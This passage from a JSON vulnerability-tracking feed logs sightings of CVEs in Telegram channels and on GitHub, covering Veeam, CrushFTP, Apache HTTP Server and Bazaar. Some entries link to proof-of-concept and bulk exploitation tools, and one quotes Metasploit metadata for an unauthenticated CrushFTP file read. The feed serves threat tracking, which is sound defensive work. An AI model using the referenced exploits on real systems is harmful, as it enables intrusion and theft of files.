\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438.\n\n\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0441\u0442\u0430\u0440\u044b\u0439 Zyxel \u2013 \u043f\u043e\u0434\u0443\u043c\u0430\u0439\u0442\u0435 \u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438!\n\u041d\u0435 \u0441\u0442\u043e\u0438\u0442 \u0436\u0434\u0430\u0442\u044c, \u043f\u043e\u043a\u0430 \u0432\u0430\u0448 \u0440\u043e\u0443\u0442\u0435\u0440 \u043f\u043e\u043f\u0430\u0434\u0451\u0442 \u0432 \u0447\u0435\u0439-\u0442\u043e \u0431\u043e\u0442\u043d\u0435\u0442. \u041b\u0443\u0447\u0448\u0435 \u0432\u043b\u043e\u0436\u0438\u0442\u044c\u0441\u044f \u0432 \u043d\u043e\u0432\u044b\u0439 \u0433\u0430\u0434\u0436\u0435\u0442, \u0447\u0435\u043c \u0441\u0442\u0430\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u043e\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u043e\u0432. \n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u043f\u0440\u043e \u0445\u0430\u043a\u0435\u0440\u043e\u0432, \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0443\u0442\u0435\u0447\u043a\u0438 \u0438 \u0418\u0411 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-07-29T12:03:04.528519Z"}, {"uuid": "6fd7795e-93e0-4e58-8e83-9ad08716db52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/sysadm_in_up/2222", "content": "Veeam Backup & Response - RCE With Auth, But Mostly Without Auth (CVE-2024-40711)\n\nhttps://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/", "creation_timestamp": "2026-07-29T12:03:17.086884Z"}, {"uuid": "e61eae53-8e57-43c8-9761-fc2152c0d7e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "https://t.me/reverseame/4464", "content": "CVE-2024-4040-SSTI-LFI-PoC: CVE-2024-4040 CrushFTP SSTI LFI & Auth Bypass | Full Server Takeover | Wordlist Support #GitHub #CVE-2024-4040 #SSTI #LFI #PoC https://github.com/Stuub/CVE-2024-4040-SSTI-LFI-PoC", "creation_timestamp": "2026-07-30T00:02:21.274700Z"}, {"uuid": "d9a3bb87-0b65-4103-beec-58169ac6858f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40445", "type": "seen", "source": "Telegram/DD-qBI0ZtvLYMwpAeT-u9CBD1OFkNvyW9gj0OIVfc8sm9IM", "content": "", "creation_timestamp": "2026-09-02T01:00:05.504231Z"}, {"uuid": "5d8e26d3-315c-4056-82f5-c5f96fc0f8cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40446", "type": "seen", "source": "Telegram/DD-qBI0ZtvLYMwpAeT-u9CBD1OFkNvyW9gj0OIVfc8sm9IM", "content": "", "creation_timestamp": "2026-09-02T01:00:05.993330Z"}, {"uuid": "0be818b0-9989-4ba1-a0f1-78d066e4bea6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "seen", "source": "https://t.me/hacking_Attack/139699", "content": "CVE-2024\u201340725 and CVE-2024\u201340898: Critical Vulnerabilities in Apache HTTP Server\nhttps://infosecwriteups.com/cve-2024-40725-and-cve-2024-40898-critical-vulnerabilities-in-apache-http-server-d292084255dc?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:31.780612Z"}, {"uuid": "209093d0-0ecf-474f-9fab-3b3d2f6c9aea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "seen", "source": "https://t.me/hacking_Attack/139699", "content": "CVE-2024\u201340725 and CVE-2024\u201340898: Critical Vulnerabilities in Apache HTTP Server\nhttps://infosecwriteups.com/cve-2024-40725-and-cve-2024-40898-critical-vulnerabilities-in-apache-http-server-d292084255dc?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:31.822814Z"}, {"uuid": "6763586b-c89d-46ab-b00b-7eb91c0cd93d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "seen", "source": "https://t.me/hacking_Attack/139701", "content": "Explore the details of CVE-2024\u201340725 and CVE-2024\u201340898, two critical vulnerabilities in Apache HTTP Server. Learn about the risks\u2026Continue reading on InfoSec Write-ups \u00bb (https://infosecwriteups.com/cve-2024-40725-and-cve-2024-40898-critical-vulnerabilities-in-apache-http-server-d292084255dc?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:31.867942Z"}, {"uuid": "d934b0cd-9dba-4acf-8f42-c7be04fb800d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "seen", "source": "https://t.me/hacking_Attack/139701", "content": "Explore the details of CVE-2024\u201340725 and CVE-2024\u201340898, two critical vulnerabilities in Apache HTTP Server. Learn about the risks\u2026Continue reading on InfoSec Write-ups \u00bb (https://infosecwriteups.com/cve-2024-40725-and-cve-2024-40898-critical-vulnerabilities-in-apache-http-server-d292084255dc?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:31.572353Z"}, {"uuid": "d36822f4-fbc5-4611-b361-739b931b1173", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "seen", "source": "https://t.me/hacking_Attack/139699", "content": "CVE-2024\u201340725 and CVE-2024\u201340898: Critical Vulnerabilities in Apache HTTP Server\nhttps://infosecwriteups.com/cve-2024-40725-and-cve-2024-40898-critical-vulnerabilities-in-apache-http-server-d292084255dc?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:00:50.465401Z"}, {"uuid": "cd804a3f-4f54-478a-80fd-76b879ca3dc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "seen", "source": "https://t.me/hacking_Attack/139699", "content": "CVE-2024\u201340725 and CVE-2024\u201340898: Critical Vulnerabilities in Apache HTTP Server\nhttps://infosecwriteups.com/cve-2024-40725-and-cve-2024-40898-critical-vulnerabilities-in-apache-http-server-d292084255dc?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:00:50.522483Z"}, {"uuid": "1670eacc-7734-487a-a313-b43de2c5c08d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "seen", "source": "https://t.me/hacking_Attack/139701", "content": "Explore the details of CVE-2024\u201340725 and CVE-2024\u201340898, two critical vulnerabilities in Apache HTTP Server. Learn about the risks\u2026Continue reading on InfoSec Write-ups \u00bb (https://infosecwriteups.com/cve-2024-40725-and-cve-2024-40898-critical-vulnerabilities-in-apache-http-server-d292084255dc?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:00:50.571663Z"}, {"uuid": "3e5a31cd-d837-4570-8511-453bb7fa0231", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "seen", "source": "https://t.me/hacking_Attack/139701", "content": "Explore the details of CVE-2024\u201340725 and CVE-2024\u201340898, two critical vulnerabilities in Apache HTTP Server. Learn about the risks\u2026Continue reading on InfoSec Write-ups \u00bb (https://infosecwriteups.com/cve-2024-40725-and-cve-2024-40898-critical-vulnerabilities-in-apache-http-server-d292084255dc?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:00:50.215756Z"}, {"uuid": "2f3dfdfe-4acf-4e55-bf47-9b4efe400adb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/47343", "content": "\ud83d\udea8 CVE-2024-40348 \ud83d\udea8\n\n\ud83d\udc49 This is a bulk scanning and exploitation tool for CVE-2024-40348: Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal. This vulnerability was discovered by 4rdr.\n\n\ud83d\udd17 Download : https://github.com/bigb0x/CVE-2024-40348", "creation_timestamp": "2026-09-02T06:00:06.666708Z"}, {"uuid": "0b3b1886-2381-44be-ad8f-fa25ecee8eb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40446", "type": "published-proof-of-concept", "source": "Telegram/DD-qBI0ZtvLYMwpAeT-u9CBD1OFkNvyW9gj0OIVfc8sm9IM", "content": "", "creation_timestamp": "2026-09-03T00:00:59.384935Z"}, {"uuid": "eac7ead7-36ae-49d0-b8bb-661f1c4a1f42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40445", "type": "published-proof-of-concept", "source": "Telegram/DD-qBI0ZtvLYMwpAeT-u9CBD1OFkNvyW9gj0OIVfc8sm9IM", "content": "", "creation_timestamp": "2026-09-03T00:00:59.440187Z"}, {"uuid": "615abdc7-ddf2-4c82-94f4-ce8005d63e88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/HackingTeamGrupoOfficial/47343", "content": "\ud83d\udea8 CVE-2024-40348 \ud83d\udea8\n\n\ud83d\udc49 This is a bulk scanning and exploitation tool for CVE-2024-40348: Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal. This vulnerability was discovered by 4rdr.\n\n\ud83d\udd17 Download : https://github.com/bigb0x/CVE-2024-40348", "creation_timestamp": "2026-09-03T00:00:52.128888Z"}, {"uuid": "d1780134-f00f-47ef-a485-cd4d8261bd9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/139699", "content": "CVE-2024\u201340725 and CVE-2024\u201340898: Critical Vulnerabilities in Apache HTTP Server\nhttps://infosecwriteups.com/cve-2024-40725-and-cve-2024-40898-critical-vulnerabilities-in-apache-http-server-d292084255dc?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-03T18:00:07.352253Z"}, {"uuid": "6a418239-cdb5-4478-806e-adc098e8b32b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/139699", "content": "CVE-2024\u201340725 and CVE-2024\u201340898: Critical Vulnerabilities in Apache HTTP Server\nhttps://infosecwriteups.com/cve-2024-40725-and-cve-2024-40898-critical-vulnerabilities-in-apache-http-server-d292084255dc?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-03T18:00:07.406741Z"}, {"uuid": "88b05e7f-edbe-4ef1-a30a-840f16bb69d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "seen", "source": "https://t.me/hacking_Attack/139701", "content": "Explore the details of CVE-2024\u201340725 and CVE-2024\u201340898, two critical vulnerabilities in Apache HTTP Server. Learn about the risks\u2026Continue reading on InfoSec Write-ups \u00bb (https://infosecwriteups.com/cve-2024-40725-and-cve-2024-40898-critical-vulnerabilities-in-apache-http-server-d292084255dc?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-03T18:00:07.677437Z"}, {"uuid": "5a50c8bf-136f-444f-9296-4cb066fef743", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "seen", "source": "https://t.me/hacking_Attack/139701", "content": "Explore the details of CVE-2024\u201340725 and CVE-2024\u201340898, two critical vulnerabilities in Apache HTTP Server. Learn about the risks\u2026Continue reading on InfoSec Write-ups \u00bb (https://infosecwriteups.com/cve-2024-40725-and-cve-2024-40898-critical-vulnerabilities-in-apache-http-server-d292084255dc?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-03T18:00:07.730663Z"}, {"uuid": "46560035-bdd7-45e5-983b-5c537a8a4ba9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/139699", "content": "CVE-2024\u201340725 and CVE-2024\u201340898: Critical Vulnerabilities in Apache HTTP Server\nhttps://infosecwriteups.com/cve-2024-40725-and-cve-2024-40898-critical-vulnerabilities-in-apache-http-server-d292084255dc?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-04T00:00:41.021453Z"}, {"uuid": "b3363986-faf4-4550-8464-5b705c3785c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/139699", "content": "CVE-2024\u201340725 and CVE-2024\u201340898: Critical Vulnerabilities in Apache HTTP Server\nhttps://infosecwriteups.com/cve-2024-40725-and-cve-2024-40898-critical-vulnerabilities-in-apache-http-server-d292084255dc?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-04T00:00:40.981759Z"}, {"uuid": "0094ebc7-c5fc-4ba4-9c30-0159be185cda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "seen", "source": "https://t.me/hacking_Attack/139701", "content": "Explore the details of CVE-2024\u201340725 and CVE-2024\u201340898, two critical vulnerabilities in Apache HTTP Server. Learn about the risks\u2026Continue reading on InfoSec Write-ups \u00bb (https://infosecwriteups.com/cve-2024-40725-and-cve-2024-40898-critical-vulnerabilities-in-apache-http-server-d292084255dc?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-04T00:00:41.263858Z"}, {"uuid": "2ba68a2e-f187-48f4-ad1d-dce26bc7587e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "seen", "source": "https://t.me/hacking_Attack/139701", "content": "Explore the details of CVE-2024\u201340725 and CVE-2024\u201340898, two critical vulnerabilities in Apache HTTP Server. Learn about the risks\u2026Continue reading on InfoSec Write-ups \u00bb (https://infosecwriteups.com/cve-2024-40725-and-cve-2024-40898-critical-vulnerabilities-in-apache-http-server-d292084255dc?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-04T00:00:41.306193Z"}, {"uuid": "ede2b1f6-33aa-451f-976c-d7b9b7138293", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "Telegram/tfzFksg6Ffzei3Al2KkgfqeRHtWSEIkxKCjAvJiR29EEYwY", "content": "", "creation_timestamp": "2026-09-04T05:00:04.760008Z"}, {"uuid": "607a8794-12c8-430b-a444-079bd7a47d55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "Telegram/tfzFksg6Ffzei3Al2KkgfqeRHtWSEIkxKCjAvJiR29EEYwY", "content": "", "creation_timestamp": "2026-09-05T01:00:38.102515Z"}, {"uuid": "92ac4cc1-be7d-4fde-9591-4c58705012a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/crushftp_fileread_cve_2024_4040.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"remmons-r7\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module leverages an unauthenticated server-side template injection vulnerability in CrushFTP < 10.7.1 and\\n          < 11.1.0 (as well as legacy 9.x versions). Attackers can submit template injection payloads to the web API without\\n          authentication. When attacker payloads are reflected in the server's responses, the payloads are evaluated. The\\n          primary impact of the injection is arbitrary file read as root, which can result in authentication bypass, remote\\n          code execution, and NetNTLMv2 theft (when the host OS is Windows and SMB egress traffic is permitted).\", \"disclosure_date\": null, \"fullname\": \"auxiliary/gather/crushftp_fileread_cve_2024_4040\", \"is_install_path\": true, \"mod_time\": \"2024-05-03 12:01:48 +0000\", \"name\": \"CrushFTP Unauthenticated Arbitrary File Read\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/gather/crushftp_fileread_cve_2024_4040.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"gather/crushftp_fileread_cve_2024_4040\", \"references\": [\"CVE-2024-4040\", \"URL-https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis\"], \"rport\": 8080, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:47:13.113380Z"}, {"uuid": "11c4f86c-787c-4166-a777-0b0d2c65c72d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "Telegram/9NrP2a5dbad0SvG7fb9Uapx71qe-XVfVxvb8R_NhR-XYGGI", "content": "", "creation_timestamp": "2026-09-14T03:00:08.279212Z"}, {"uuid": "ba7cedb5-0291-461f-adc0-c569b91ac1bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "Telegram/9NrP2a5dbad0SvG7fb9Uapx71qe-XVfVxvb8R_NhR-XYGGI", "content": "", "creation_timestamp": "2026-09-15T00:00:26.464385Z"}]}